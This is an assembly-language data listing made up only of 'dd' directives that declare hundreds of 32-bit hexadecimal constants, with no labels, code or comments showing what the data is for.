dd 0C826552Ah, 0F7E59875h, 0ADB7FF4Dh, 0F60620B0h, 496BF4B4h
dd 0B1044915h, 4A1F0693h, 0CCD9A2F4h, 0F418B7FAh, 2785BF47h
dd 0A1BEF1CBh, 0A12987B7h, 1116023Bh, 3FBEDCD5h, 0E7610FAFh
dd 8FE46888h, 9A73B36Ah, 57078B98h, 1DED45EEh, 0E30181EAh
dd 41FB468Eh, 6F4E0C64h, 0F7115F5Fh, 0BB7698F8h, 0BF41E2DBh
dd 87AF24ACh, 4D67D2CEh, 1393B054h, 2A0F4E61h, 37AD3D8Eh
dd 65B002C5h, 9B75D05h, 0F76B8E5Ah, 0CC25553Ch, 6D210481h
dd 43CE38E0h, 38C4A6B2h, 696D6C86h, 8B9EFB56h, 0EEB00242h
dd 21D39860h, 687855B5h, 0BD51F459h, 0F7581070h, 392BD44Eh
dd 0FFFD9A6Ch, 810314E6h, 0E8A1F4F4h, 4195DCF5h, 0C592395Ch
dd 0AA178A1Fh, 3176BD47h, 0B8BB16F4h, 80355F9Ah, 725F9274h
dd 0CB4F6AD3h, 5F61E1Ah, 47D5E6ECh, 3FE52743h, 83E87080h
dd 0DEC8B161h, 0D81DEC1Ch, 35096889h, 0EA3187D8h, 0C86BD32Bh
dd 0F2E0148Ch, 3D47CC90h, 800A109Dh, 0B9D4416Dh, 4932A7C4h
dd 327F02C0h, 1AE29752h, 0D82703BBh, 2A7044FCh, 6DB7DC2Ch
dd 0A248C951h, 0B0E81181h, 173D4C7Bh, 850F236Eh, 68A96573h
dd 5A2AAEBAh, 0E137486h, 1A5B2A07h, 0A38303DFh, 0BF46AF0Fh
dd 62C526E4h, 0A5B4B129h, 7B6A7188h, 45B8DE5Ah, 3CBCBA6Fh
dd 507E44B7h, 93B96DD4h, 0EE25F6A2h, 78597BE7h, 70BCDE54h
dd 0AB11858Ch, 6F4C304Eh, 79287FDAh, 826CB88Ch, 0DB493A34h
dd 891B5446h, 4FD7A07Dh, 15A5EE4Bh, 0DB9178C0h, 0F0A36482h
dd 0B72B6E7Eh, 1F413717h, 74A190E0h, 559396FEh, 0F87D1C86h
dd 0BA4F781Ah, 0F56152F4h, 0FFF1540Ah, 7B5D3446h, 397FA3Ch
dd 70439180h, 9BC8F122h, 0D40D5CEAh, 669A8F3Dh, 3BB2DF4Ch
dd 1D02B9Ah, 3E55545Ch, 8D272EB3h, 0B66C0F99h, 29CB1361h
dd 5A227CC4h, 0A55F2ECAh, 1F91E845h, 8AA9AED0h, 0CD0B2131h
dd 7D3C5ABEh, 9B5D957Dh, 495BE7A5h, 0F2DBD1Ch, 1164C116h
dd 669A8Bh, 137C8C8Ah, 452A873h, 957A8A41h, 0B319557Eh
dd 372F6BC3h, 0CAB4DCE4h, 57F6444h, 0F1F6274Dh, 37333E5Ch
dd 0AC079E1Ch, 0DC18461h, 0E2C1E9C0h, 7E064692h, 8B518583h
dd 0A05A9D0Ah, 0FBE17672h, 64423007h, 87A5FB7Ah, 0BE9A967Eh
dd 23671EC3h, 4D4BFB22h, 0C560FA92h, 0C619D0CAh, 5589EC8Ch
dd 0CA29B46Ah, 0A72BE2C7h, 49B7970Eh, 0C9E173BCh, 169BA6ADh
dd 99D0FDBBh, 9671AF7Dh, 8D26F818h, 5FFDA79h, 5827D72Dh
dd 0EC083212h, 73590ED5h, 8BDB0AF2h, 50CDCCE3h, 0A719CF6Fh
dd 0CB2628C8h, 0EA66E2C1h, 9C3D90C8h, 0CD02A4B1h, 0EE2E5800h
dd 0F28A7133h, 1F63AA0Fh, 74E96976h, 0BB32400Ch, 1406D11Ah
dd 47E5BACAh, 3FC917F7h, 41D27080h, 99DE81E7h, 791D167Eh
dd 7BEF1806h, 0EBC2F0D8h, 0F50A4EA6h, 0A1151426h, 0E7B615Ah
dd 0B011F682h, 0D6DB66DEh, 1467847Bh, 0C00C957Fh, 1B41AD19h
dd 0B1D42F08h, 0DD0FB161h, 29460AEEh, 7BE19390h, 0E74F96AAh
dd 0B5A85C54h, 85102226h, 4BE1E8F8h, 11B3AECAh, 0FE01749Ch
dd 9D573A6Eh, 995A0040h, 0F788B15Fh, 88CD9CAAh, 7523E67Dh
dd 29D3B35Bh, 0BCB06B97h, 0D9159423h, 0FF5DD7B7h, 163230C0h
dd 597B3456h, 1F5DAA8Ch, 0B61A3646h, 0DBF13DF1h, 0D8FD37F8h
dd 0D20431E0h, 0C8D33BC0h, 0F34921C3h, 9309BB53h, 0CA76ECF4h
dd 15CF70A6h, 0BAD33469h, 0C09563A7h, 0AC9161AFh, 0CAAC707Ch
dd 0C9A56384h, 0D688858Eh, 0F0611C80h, 0E07B707Ah, 0DD64A856h
dd 0F45F4F65h, 0F2595D1Ah, 0EB56FA6Dh, 63D6123h, 0C1F5F0Ch
dd 0FF1D6D57h, 3402640Dh, 0DE039BC8h, 0D12072F9h, 0E2F88BFEh
dd 8DE879EBh, 0F2DE82D1h, 0FCF99BEEh, 0FAC993C7h, 0BD9ABAh
dd 2C416CB7h, 5B473B8h, 9BD6097h, 0BD9B7BB1h, 22AE9261h
dd 22A78B9Eh, 2A958099h, 0E32EA272h, 0B72A699h, 1576A667h
dd 0E5D818Ch, 1B5FB652h, 0B33DB153h, 1C4FAF3Ch, 1A22B520h
dd 2C3EB55Ah, 36069C29h, 340897F6h, 3217B21Ch, 3BF07E11h
dd 2AFBA1F2h, 3DD88992h, 4AF1A522h, 43D3BEF5h, 2FC6BADFh
dd 0C104ADB5h, 45C1C1E9h, 1ACCCEA5h, 139EBAB7h, 1B97DBDBh
dd 6B7AD08Bh, 6594D79Dh, 7675AD5Dh, 5D80B28Bh, 5D869C57h
dd 3C5CBE72h, 576EA7E0h, 5940CB7Eh, 6A51C542h, 702CD310h
dd 3E58F867h, 4C40F226h, 5316B41Ch, 66870B06h, 562FE413h
dd 5214E510h, 5ABC9CEAh, 73F40CFAh, 79D0D1E9h, 51B4E6C5h
dd 45D1D199h, 80CCDED7h, 89C7F9A3h, 88A0F4A3h, 85B4E5B0h
dd 86AB92B5h, 627DFCA7h, 6FA4EC78h, 8AD52583h, 7459FA5Dh
dd 79380773h, 7C6F0F9Ch, 7A4D3334h, 7958FC60h, 7B22D53Bh
dd 9225F73Ah, 871C143Bh, 8B07FC31h, 942E030Dh, 972B661Fh
dd 0A00A0F19h, 8FADE103h, 8FE40AFFh, 8AF12E3Ah, 98E821EDh
dd 8801D80Bh, 849924C8h, 90A52ADDh, 0AB7E39A8h, 0A3B830BAh
dd 9C861CABh, 0B482AE89h, 0BB9E3288h, 0C0700691h, 0BF5C0063h
dd 296B2B6Dh, 0BB603595h, 0CC732759h, 0A8253D63h, 0A4574714h
dd 0A22A4D58h, 0B04117FEh, 0AA0F402Fh, 0BB4E493Dh, 0BA015532h
dd 0D3182C46h, 0D7E23D0Ch, 0DAE73A29h, 0C9D4D4DDh, 0B7DC46F5h
dd 0C3EE3CC7h, 0EDDC5AE4h, 0DBC059DEh, 0DFA860A6h, 0C0B664BFh
dd 0CA8F4D95h, 678B61B5h, 0DBC65668h, 0D68D7193h, 0DC8F6F7Ch
dd 0C0695294h, 0F1707F74h, 0F853785Bh, 0DE625367h, 0D8517ADCh
dd 0E938573Ch, 3B9023h
dd 0F62A6B2Fh, 0E50D745Fh, 100D512Ah, 0C166C27h, 0E80F7DF5h
dd 0D558A11h, 0E8F569F2h, 26DE84EFh, 0E9D99BEFh, 0FAC093E6h
dd 0D76F91D3h, 0FBA255CCh, 2B077D4h, 129872C1h, 1E9086ABh
dd 17C7208Eh, 237896A3h, 2A918582h, 673A416h, 0EB7F9D78h
dd 482A968h, 0C41975Dh, 0ED61A743h, 2358A47Eh, 1C1AB05Dh
dd 1426A835h, 3159A240h, 1F109A48h, 431F8D25h, 2211A603h
dd 38149E0Dh, 2AFB9FEBh, 58E78092h, 36DFA9EFh, 46C1A4EDh
dd 2FD2C5DAh, 15D5C9C1h, 2DB2CFD1h, 16BBAC7Eh, 36ADC9A2h
dd 4D99CFCCh, 5281DD9Fh, 539AD7A9h, 3F53C87Fh, 5865E38Eh
dd 5281BB5Dh, 6465C63Bh, 607DC74Eh, 604AC071h, 663FD835h
dd 3E3FCD30h, 4F44B959h, 542FCC19h, 4B18841Ch, 5A2CD907h
dd 56F4F31Dh, 520AD60Eh, 60DAF2EAh, 60F262FAh, 5CD0D0ECh
dd 7BDCCCD6h, 17E2D9BBh, 67B6D7BCh, 81CEF300h, 82AA06AEh
dd 7BAAE7C5h, 8189CB76h, 5E9FEAABh, 6A97DD86h, 668D017Dh
dd 68830668h, 87572990h, 7C6D047Dh, 8B3A3B60h, 77591543h
dd 8E35EB3Bh, 903F1D46h, 0BE65F128h, 8B1C0638h, 0C01D050Eh
dd 88FD0B22h, 9B13E5C4h, 0B0E920F9h, 7EE107FCh, 8DF133DCh
dd 8DAE44CBh, 8FD527D2h, 96EB24D3h, 90A53AE1h, 7E3D39A8h
dd 0D5D04CEAh, 79D3DBAFh, 1167FA86h, 98A4116Eh, 0B8861D9Ah
dd 63722589h, 0E2562B60h, 0A8732974h, 0BD643B59h, 9E231847h
dd 0A4500F33h, 0A6633D3Eh, 884C372Ah, 0E5B97128h, 0BC3A593Dh
dd 0B3FE6A20h, 0CDF45F19h, 7CD748D7h, 0A3D13474h, 0E1515F0Ah
dd 0CB62688Dh, 36583678h, 892B6402h, 0FD9BA87Dh, 569182A8h
dd 6E3070B8h, 0A15318ECh, 0BD45C0CDh, 0B007D2DCh, 2BB4DBB7h
dd 0B9AB6E71h, 0B302F494h, 4575E14Ah, 0BB72AD52h, 56F05437h
dd 434084A0h, 1D2D465Eh, 701C924Fh, 0D96DE8DDh, 0A3C9CF24h
dd 37899F9Fh, 7F34D8B8h, 94F8DDA2h, 0C7653978h, 8DFDF32Bh
dd 532988C2h, 5D52B6B0h, 1FC7AD03h, 0ADD573B6h, 1F49C8D9h
dd 8AE3D8D0h, 0E7EBF687h, 0DDFBD9CEh, 0C30EF2D1h, 9A196F63h
dd 0D15074EEh, 962EBDD3h, 98F0F900h, 0C41F09EBh, 0F775C48Ch
dd 0ED552E46h, 0DEDCB30h, 0FAF8D02h, 3FBDB414h, 335A296h
dd 3361924Ah, 91339CAEh, 836F406h, 0C76C2D1Eh, 10A990BEh
dd 8B0831D9h, 0EA4D1C2Ah, 0AAD0BE5Fh, 0BE62083h, 4CB73DDAh
dd 97A52417h, 1618E97Eh, 8C0B3F81h, 0E9DD349Dh, 0E964B1F4h
dd 0BDAF02DEh, 0C80047B1h, 0B1913EFh, 3C9A544Ch, 7DF7032Fh
dd 0D0D8EAC8h, 0CB181DD3h, 426D7C8Ah, 956804CFh, 0D81A6028h
dd 0A45A59ABh, 0E7C59A96h, 8D1B8A21h, 8A448FFBh, 0ED93D642h
dd 7874637Ah, 0D5A99069h, 5F61ADB8h, 99E67B8Fh, 0FF45B483h
dd 0EE426C67h, 0E4988789h, 69BB5E9Dh, 0AEC2CCA4h, 0E5769611h
dd 46FA2B48h, 91E5C195h, 96A115ECh, 5C58DA8Dh, 0C14BE5EDh
dd 9DC63652h, 3DAA8310h, 68EFB210h, 9EC18C9Ah, 0B1934ED2h
dd 1AE6E97Ch, 3D47F113h, 76868F0Ah, 0C9EB6DFCh, 6F72FEF4h
dd 55A5F2BAh, 815D7CE9h, 0F6C70373h, 0C72A44FCh, 82F1871Fh
dd 337DD0A0h, 36A09698h, 179546AEh, 850F221Dh, 0F5822A73h
dd 21A0771Ch, 97F21DDDh, 98574A47h, 0A521F8C4h, 0F23B5B89h
dd 51DC8CD4h, 0B5C71FF3h, 0D6711888h, 56A0CBD9h, 9A90A41Ch
dd 0CDD77D42h, 8BDD3C51h, 7F1A2h, 9E5DBC74h, 0E52D7AA2h
dd 0AFE91C18h, 4AD30EE9h, 27AB4E47h, 8063218Eh, 0C24D84E4h
dd 0DFEB2632h, 4FE9C404h, 0C391B2D6h, 58C878DAh, 0B1655005h
dd 0EAEE174Ch, 2D08C6AFh, 0CDAA41F0h, 0B89187C0h, 7F7D1C6Ch
dd 0D0EA90A6h, 0B31A67Ah, 0E5DDF374h, 0FF718435h, 5D97FBB2h
dd 47FDEF55h, 0E93B8472h, 0B4EFD9A9h, 0F0381206h, 5CA76C88h
dd 55FA4EA6h, 16276416h, 1872540Fh, 5309BEAAh, 0C8B3B09h
dd 6A54AA84h, 0A55F44A8h, 1D855FD3h, 0E9CF74D3h, 0F6E1237Fh
dd 0CA4E5ACEh, 2A797AE0h, 0F9AB3D1Fh, 3F5D7C74h, 40FAC066h
dd 9BC156A2h, 5F9B4239h, 13DCC48Ch, 78D29282h, 0B3295F22h
dd 8758212Fh, 2BDCCF9h, 858F9EE4h, 0CA167266h, 15A8B504h
dd 0B8050427h, 1D6C3FE5h, 0E4A990D0h, 0D76E9861h, 0E7544CE0h
dd 351FD33Fh, 0FAE11C05h, 0FB435EDAh, 45A5B186h, 4E67FCFEh
dd 133AB1D4h, 0F9DDF622h, 1E9B4D9Fh, 1778B2D0h, 0B443BD5Dh
dd 0F08D502Bh, 66DB7F81h, 27481A74h, 3D3E4F31h, 309BB693h
dd 4A742D8Dh, 953F329Fh, 798C7DA3h, 2139BE0Ah, 0E7B58834h
dd 0DE36FA9Eh, 83480AE3h, 392FA342h, 7A049C14h, 0C5CF622Fh
dd 8BA1994Fh, 81956F8Ah, 1CF3FDAEh, 0DD1717B1h, 9B2FC300h
dd 62C03266h, 2F8D5520h, 803FB676h, 0B54DC419h, 8177A31Bh
dd 4A2AE4ECh, 2DC7CA9Eh, 766051ABh, 355E0B6Eh, 834ADC18h
dd 45CA0485h, 7E35FC30h, 0AE35CF39h, 5C7C4E2Ch, 76790221h
dd 0D208A09Dh, 0C9B67658h, 0C18F9BC4h, 57257F7Fh, 0DB24B858h
dd 0B1D32E0Ah, 0A7F54D74h, 96E246DEh, 92B82CDEh, 8C3E96DEh
dd 0BF4D635Eh, 6FA3E2A9h, 0CE6AB1E9h, 11C3E986h, 0D9851C6Bh
dd 0CCA8BA6Eh, 0D6F85096h, 290BF114h, 0D8441957h, 826F52C6h
dd 0CB224CBFh, 3A740F28h, 17FB5697h, 0E9EBE5FEh, 81DFA5ADh
dd 16A3F692h, 2A0C31F4h, 4C308236h, 0D5023259h, 4AC2C9E9h
dd 226CD0EDh, 0B3EBDA11h, 73C4AB91h, 0B91A1D9Fh, 907A6108h
dd 8ABFC2E1h, 0DB9284F2h, 0A9D9C57Ah, 6835044Bh, 0CD3EB116h
dd 990CCB79h, 0FAA86AA1h, 95E8E9F6h, 125A1DE3h, 9478F4B1h
dd 0F73F3EB6h, 177851Ch, 772CEDC7h, 9C69D07Eh, 0D96D4CC5h
dd 0A3C9CF24h, 8C5EC5CBh, 0E5B81FCDh, 8883069Ah, 18986731h
dd 0D6DB6407h, 1FBEA2CFh, 7EA8F15h, 0FDC48FC9h, 0FCA266DAh
dd 0B06CB6h, 4D2AAB7h, 1DC286AEh, 0B9CA4A2h, 21A87991h
dd 1993ABB6h, 2A7F8398h, 34537284h, 0F769F7Ah, 1572A982h
dd 2775C68Ch, 0ED479D2Eh, 104BA02Fh, 5350AF4Ah, 1C20AE2Bh
dd 2D30B645h, 3711561Fh, 4EEC784Ah, 231DD4E5h, 2B00B214h
dd 16A3A1F1h, 89C98BDFh, 2614C6FCh, 3F01F2F0h, 2EC5AADFh
dd 0C15B93E0h, 5A9524ACh, 5F044FFDh, 96FFB040h, 0D9FB6BABh
dd 456A43F4h, 0A4AFF2D0h, 775E7F0h, 84CAA890h, 0B7158A2Ah
dd 9F237E45h, 0C26FFA53h, 5CB05194h, 9902E1A5h, 0A3F427Fh
dd 0FE48FA3Eh, 0A4582314h, 0E7C59C5Ch, 0A5B9C727h, 0EA831060h
dd 73AF5CFCh, 0FEAE677Ah, 95769584h, 0E85C0950h, 35D76D5Bh
dd 53D2B064h, 0DD178256h, 64AF1300h, 0A57FCAE4h, 0A9FA73A4h
dd 0EA5FA260h, 4C3EEC08h, 0FAB21C80h, 57BBB657h, 9AD77DBEh
dd 0E7E7F8h, 99528EE3h, 9D70FC34h, 723AE543h, 0B70DCCF6h
dd 372089AAh, 1F652472h, 0EA28C2Ah, 109FA288h, 0F3609193h
dd 60AD3CB6h, 2D04674Dh, 6A51A82Ah, 0B1D42F09h, 1CC6F5BBh
dd 7D918471h, 3394A8B0h, 0C6989682h, 0F1700E8Fh, 0B9DB5E00h
dd 0D576A7F8h, 39B3BEDCh, 0D78574A6h, 0AB87297Fh, 0C97D1E67h
dd 324BC651h, 0DFA37E4Fh, 7B24CBB6h, 88710896h, 0BCB86B89h
dd 8E159423h, 0DDF22A81h, 26A861D0h, 597B0018h, 1F595405h
dd 90BC8246h, 0AB116192h, 93389B21h, 5FA5E4B1h, 4E62C74Ch
dd 0DECEA7C6h, 891B3634h, 0E48A6FB4h, 15BFC2E0h, 0F97EED23h
dd 0F5933E8Ah, 678F05B6h, 2D05726Ch, 860810F0h, 0B99B21D8h
dd 0EA57DC0Fh, 0E5DC5744h, 0BD21B846h, 24687070h, 97B54A3Fh
dd 0D674462h, 96B8924Fh
dd 0E94BB164h, 0CD7AF34Ch, 0AFDF22DFh, 4BF29F4Bh, 0D9B9E9Ah
dd 1455646Ch, 0D2E66D0Bh, 1717C221h, 82CB7216h, 0EF93F63Fh
dd 9ED7B186h, 0F6410858h, 211BEF75h, 4A5A6DFCh, 0BDC74C20h
dd 901E4D08h, 495FFE13h, 465CAC44h, 1049AB50h, 0E795669Ch
dd 0F4E6FE7Eh, 2785DA16h, 69424AE1h, 0B3195203h, 79E8AE6Fh
dd 0EA42DCD4h, 57F8B8Fh, 0BDDEF53Fh, 0B9333E5Bh, 0AC8C211Ah
dd 0EEE96F6Bh, 0E0A980D0h, 0A979560Eh, 0DF718D64h, 611FD235h
dd 0FBF299E0h, 0B33039DAh, 6951482h, 4D685A42h, 0E7B4E050h
dd 0C2B976B8h, 0AFD42A7Fh, 2CEF7FC6h, 0B369D58Bh, 0CA538E57h
dd 0A72BFEC7h, 0FAD5410Eh, 33B7BF9Bh, 2048A6B2h, 0B540E9F7h
dd 0D60F3266h, 6BF0FA9Bh, 2AA343FAh, 0E7B60D48h, 0B147D19Eh
dd 0A38810F9h, 430E5BB3h, 7A3B9C24h, 0C5BF2327h, 75A1D2B7h
dd 0EA71D489h, 70CBAE7h, 0EE3FF92Eh, 0A2C9C40Dh, 0E44A06D2h
dd 1F83E70Fh, 0A36FE876h, 0F9A67779h, 4030E4Ch, 8752EB2Ch
dd 90A7AABDh, 0E387EC2Bh, 0F153C762h, 4D48618h, 25EF2E5Eh
dd 11ECE6D8h, 656F4231h, 4DE7A1B1h, 0D0B4DA3Eh, 3F9AEBAh
dd 0B4836761h, 284938Eh, 45996D29h, 83512268h, 0E1237E46h
dd 325CF7BEh, 6DB7DDE4h, 477D143Bh, 0B7530BF5h, 0B48D5C64h
dd 0C1961878h, 2B22FCDCh, 1069ACD2h, 0C9873EAEh, 0D94E39B4h
dd 42A9F824h, 21DB8703h, 0B898793h, 0E58DB5C6h, 78397503h
dd 5DDBDE6Ah, 0E215A42Ch, 0ED2F74E8h, 73D710FEh, 7C681B68h
dd 0FA15844Ah, 0D254A20Eh, 0F2D01212h, 0A2D3EE2Ch, 0DAF6171h
dd 39F89A7Eh, 0C349600Ch, 0BAEB26C8h, 495AD3B5h, 8ABFC2FFh
dd 0EB86E823h, 3E63647Ah, 6AEE6F45h, 2D0CF26Dh, 16BF90F0h
dd 0AAB4C9Eh, 0A5B789F9h, 81CEE256h, 14CC7834h, 0D1F37172h
dd 370AB9DCh, 6970AA8h, 1DDEEF51h, 6C3B9673h, 223972E4h
dd 65DA4A69h, 0CB565BC8h, 1838EA5h, 614E9EFh, 4F3E2A4Eh
dd 29CAF0FAh, 1B38010Fh, 609D6C99h, 0B6C9424Eh, 0F63F93E7h
dd 21F69675h, 89DA44FCh, 1DC78778h, 90133A08h, 3A898713h
dd 1CB2A525h, 4AE50915h, 261F6325h, 71A6C62Dh, 0A411178Ch
dd 3A9031CFh, 0E1C3C5CDh, 0E46B16F2h, 3FCDC941h, 1D75AEA5h
dd 0CB619D68h, 6BC9C39Bh, 0EA85F42Ch, 1DE77B2Fh, 0A89AB4C0h
dd 998DA10Dh, 6F4D0C64h, 6EA40C36h, 0FBF188C7h, 0BA456641h
dd 7126341h, 4D67DA91h, 5EB9B050h, 0D40B7A60h, 35BDF3EEh
dd 8599D59Fh, 57A1AE75h, 1070B091h, 43459B1Ch, 9D5CBF75h
dd 64A9BF54h, 6738C24Dh, 6A39CD56h, 0B5452775h, 7BF11808h
dd 54329E3Bh, 5912E92Fh, 5B28E5BEh, 92F7F514h, 5CD9CC35h
dd 6BE3F9E8h, 72DEFF02h, 7381E1D4h, 68E3DEE9h, 73DBD57Ch
dd 6DBFD70Eh, 82BDE3A3h, 49DFFAA4h, 85AEF8B5h, 8E89EB9Ah
dd 0C65E3852h, 75A4D120h, 6D6E0C8Dh, 7188CA5Fh, 725D507Ch
dd 736C5669h, 7643DC50h, 39431A67h, 7D30EEF8h, 9841F08Ah
dd 8841FA17h, 8657236Eh, 0CD1DF9FFh, 0A1265CE5h, 6F0A1E1Fh
dd 75E420F5h, 47E627EFh, 88F1201Ah, 98D12AE7h, 8E06EA17h
dd 537A35DBh, 908B2AB9h, 96A97CC5h, 65F03FC1h, 9CC81CAFh
dd 0A5941AEAh, 0B1D15577h, 0D4AA3773h, 5742EAA9h, 88A3D6ACh
dd 7F884046h, 0E38D72E7h, 7A65589Dh, 79597B1Ah, 0F913423Bh
dd 0B49292AEh, 64EA637Dh, 0B52DC64Dh, 0CC18EBC1h, 34AE76B6h
dd 9C1FFB18h, 27B2BB3Fh, 23987176h, 0A0BAAA30h, 0A6BF42F7h
dd 8CE4400Fh, 499E5E5Dh, 8AC47332h, 0DB91235Fh, 0A1633E7Ah
dd 6735044Ch, 2D07CA1Eh, 0F3D990F0h, 0B9AB56C2h, 7F7D1C94h
dd 454FE266h, 0B21A838h, 0D1F36E0Ah, 186534DCh, 4D55B211h
dd 0C6ECC080h, 0E94B44F6h, 0F05C4324h, 5D2E870Ah, 41FC2FC5h
dd 0C5FACE97h, 9304048h, 0C210784Ah, 67ECE8D2h, 2EB77457h
dd 6A2670F6h, 0A55F800Eh, 2DFD8DCFh, 342ACE1Ah, 99FDD67Dh
dd 0B9F57B05h, 300E98A0h, 0A15BF64Eh, 0F2DACA0h, 0D5FF526Eh
dd 2756C5E8h, 38A3EE97h, 2B61BCA3h, 8B4B4ADBh, 479E1FC5h
dd 0B6EB0640h, 0B2C005C1h, 57F7E4Fh, 1BA07899h, 0E33B99Eh
dd 0A5A7F084h, 0FA534F75h, 0ED2C80D0h, 7E78BA92h, 5FDF0F36h
dd 5D5B84B1h, 0F574D6B1h, 0BABFB2DAh, 0BC984F7Eh, 163FDAACh
dd 0EC283F2Dh, 85908D54h, 67DD2CB6h, 0A2C3B9C3h, 6D194D15h
dd 740E8E5Ah, 0B71596C8h, 7DF71A0Eh, 43C90CC8h, 7D181DB2h
dd 0E76D7C46h, 0D6BA5CEDh, 5B11F0C0h, 0B5683DFAh, 0E7B5740Eh
dd 40005211h, 73693478h, 0B47E4297h, 0FF0DDEA0h, 4D54D5A3h
dd 12A138FAh, 41B182F5h, 17485C5Ch, 24067A2Eh, 235CBB41h
dd 97BB06D2h, 0F423613Ch, 39F4911Fh, 0BC31488Ah, 8D899DE4h
dd 4451EBECh, 8AA7AABDh, 0D079606Ah, 994B83DEh, 535F7734h
dd 7B79A36h, 6EC487C5h, 0B1A30CFEh, 115527Dh, 3DA05A56h
dd 0A89A914h, 89DA1AC4h, 0C7389D9Dh, 0F6607395h, 9A907795h
dd 0ADD74271h, 7E49110Ch, 2446D203h, 0E818CF4Ah, 9B6B9682h
dd 0F03324D3h, 0DA9415F4h, 81E1E8F8h, 0A4B3E447h, 0C7BFFF97h
dd 0A3CE3813h, 3B5AB141h, 32EEB080h, 0B121F9E5h, 300C52C6h
dd 88CC30C8h, 414362D6h, 7B82BB2Ch, 9DE75A3Ch, 40A765B8h
dd 508F5A3h, 945DAC36h, 0F5ED06C9h, 8F054B18h, 6F938D17h
dd 859CAFADh, 7D85B996h, 82FC8027h, 0A0170A0Eh, 431608E8h
dd 6A7F79FAh, 0E82CF93Fh, 0D5089543h, 0F208562h, 0D92E6C61h
dd 0BA0411C6h, 0EDFEB7C7h, 4DF89DAAh, 0F1BB2F44h, 7CDC291Eh
dd 0E5E246F1h, 0EAD0B5F2h, 0E9C652D5h, 0E9B44196h, 0FD9CAB73h
dd 0BFA8CD1Ah, 1802FDFh, 0D326F7CEh, 0D6838ED8h, 7C7C7593h
dd 4BA65C77h, 81580904h, 198A0163h, 77F578CEh, 864A0FBDh
dd 517A9DD0h, 0C9ADCE1Ah, 99E7ACEBh, 0BBB6F60Eh, 1DE48602h
dd 6303AE6Ch, 9004130Fh, 84826AD4h, 83893D82h, 9AE61399h
dd 18781E0Ch, 0EB77DA63h, 0C3FF59B3h, 5AD26C02h, 0D915B42Eh
dd 308E2826h, 0B372D880h, 0AA962349h, 5705F5D4h, 29A536EEh
dd 0B18951CBh, 0BE651D48h, 6F4D745Fh, 0D3865236h, 8E7E5B95h
dd 0C1B3776Ah, 0E1445395h, 0C9EC353Bh, 1339A067h, 0D2FB7622h
dd 0BF1E7C7Fh, 0E3344CBBh, 2A81D8BFh, 0FC6D9075h, 0A80071C3h
dd 947597E0h, 56CBE0F0h, 18A0C8ACh, 6D69479Fh, 6F643351h
dd 0D86D6081h, 5E5A59ABh, 8B420DD8h, 12873ADCh, 0F7DE67B1h
dd 392BC649h, 0F40D9C14h, 29D3A259h, 0E83D5012h, 0C4EC695Bh
dd 1735F60Ch, 0B495F740h, 76EA4010h, 0FEEC01CEh, 0C84DA7A6h
dd 71E47D33h, 0BB31484Fh, 75F31E1Ah, 7D526EC9h, 0CCA79AB5h
dd 0CE5F6BF0h, 2E65FBD7h, 0D98784A4h, 35080489h, 0E4A149D8h
dd 382FF1A5h, 3778BF7Ah, 2B8E4130h, 68804D8h, 4C61BDF2h
dd 8F9D550Ah, 35403A9Ah, 0E1946350h, 0F13EF2B5h, 0C2504D0Ch
dd 4D5E9E8Eh, 333458D6h, 52EDDCh, 179558AEh, 262AAE1Dh
dd 0A33EC73h, 148DB62Ah, 80A3B423h, 0DC73913h, 8B141AAAh
dd 32EAB6EAh, 5B4A0CE9h, 0AF9F6297h, 0AC79B208h, 0B5F1627Bh
dd 0B3CFBAEDh, 0B99DBCBBh, 0C773BE95h, 0CDD1C0C9h, 0CBA7C268h
dd 0D175C43Fh, 547AF815h, 174E7EAFh, 7380AF2Ch, 3D4EC71Eh
dd 0F64C810h, 0D98D96Fh, 4FEDFC0Bh, 0A5BFB2F6h, 0DF934D2Eh
dd 5B96CB76h, 9E99A1D6h, 92A9CA2Eh, 0E6DEDC70h, 39ABA6BBh
dd 193DE349h, 66EA80FEh, 8FA6DFE5h, 0D1F37E21h, 0F5C5341Ch
dd 0E8885406h, 9823482h
dd 0DF5336E7h, 9FE6729Fh, 727FD2F6h, 78CE0062h, 89D3F98Bh
dd 0BED1E179h, 0D272A4Eh, 55EEF010h, 0BC513832h, 0DFAD45D8h
dd 89EFD9E8h, 0BB487D5Bh, 8AC64E2Ah, 7A283EBCh, 0ADE0EA69h
dd 9086F8A0h, 0CC061113h, 0F1DD5C0h, 0D1FF7216h, 0FB213B7Ch
dd 0E5201120h, 2775B4A3h, 19378A5Eh, 2C6ED835h, 329216D6h
dd 663959C1h, 58EA296h, 4F706978h, 91332E9Ah, 5F1CCCh
dd 5B636F75h, 9F8180D0h, 0F96E3174h, 0E6B8667Ch, 25DD72A1h
dd 0B98E4008h, 444E394Bh, 87A5FD28h, 4D67EA7Bh, 96309AA4h
dd 0D9FB7F9Eh, 9EDD3CF4h, 7717F89Ah, 0D3004706h, 0CAF648DFh
dd 20BF3DACh, 3B839793h, 44E0F0h, 94245E87h, 0CF5DAE20h
dd 1DBBEACDh, 91B0DC4Dh, 43A38D5Fh, 63325375h, 0AA873AD5h
dd 67591070h, 0B7A8682Fh, 7FFD8C3Bh, 1B7758FAh, 0F3606763h
dd 0EA5668BFh, 9EE1D314h, 1D062110h, 26409BA6h, 69CB2F4Eh
dd 2F8DCCA5h, 7011D8AAh, 0BB2131CAh, 0E9F9F39Ah, 0FCFC796Bh
dd 0FEF1B8E6h, 0FE7B88EDh, 0B99B81E3h, 4D8E8CCh, 7F08A1CFh
dd 91D68780h, 36EADF0Fh, 676E9007h, 685854Eh, 309A362h
dd 21E71BF2h, 14849068h, 2767F546h, 81709772h, 831099B2h
dd 3090B5B5h, 0C94C9127h, 4C99C0F2h, 25B30F3Ah, 0E6B9D941h
dd 850E2216h, 6395E8F8h, 0E82F3313h, 0D78574ACh, 818B406Eh
dd 6AAD85F5h, 29FBC622h, 0E95A8DE4h, 36DC90CEh, 363CC0D5h
dd 0C4CEB9CBh, 7257DA8h, 0D5E76AFEh, 0EF912A24h, 319EC1A5h
dd 4494C113h, 0CB3FF97h, 0AB054828h, 62FF0EEAh, 4C6A6264h
dd 3D901267h, 0BA4985Eh, 8DC7E62Ah, 57BA949Dh, 6D664D2Bh
dd 5830D5B5h, 98DFC323h, 672D043Ch, 0DB9CCA1Eh, 1A5B1D70h
dd 0EDAB56B2h, 625AF46Bh, 1CA7E5EFh, 15EA9140h, 0C11C68A5h
dd 98E1F4DCh, 344197B4h, 7B04C090h, 72AEF307h, 2977BD74h
dd 65D89079h, 379942C8h, 0A86F98Dh, 0BEFBE1BAh, 89A42A4Eh
dd 92B9F450h, 941BAE82h, 0DE0DD7D2h, 0C5576D1Ch, 52400743h
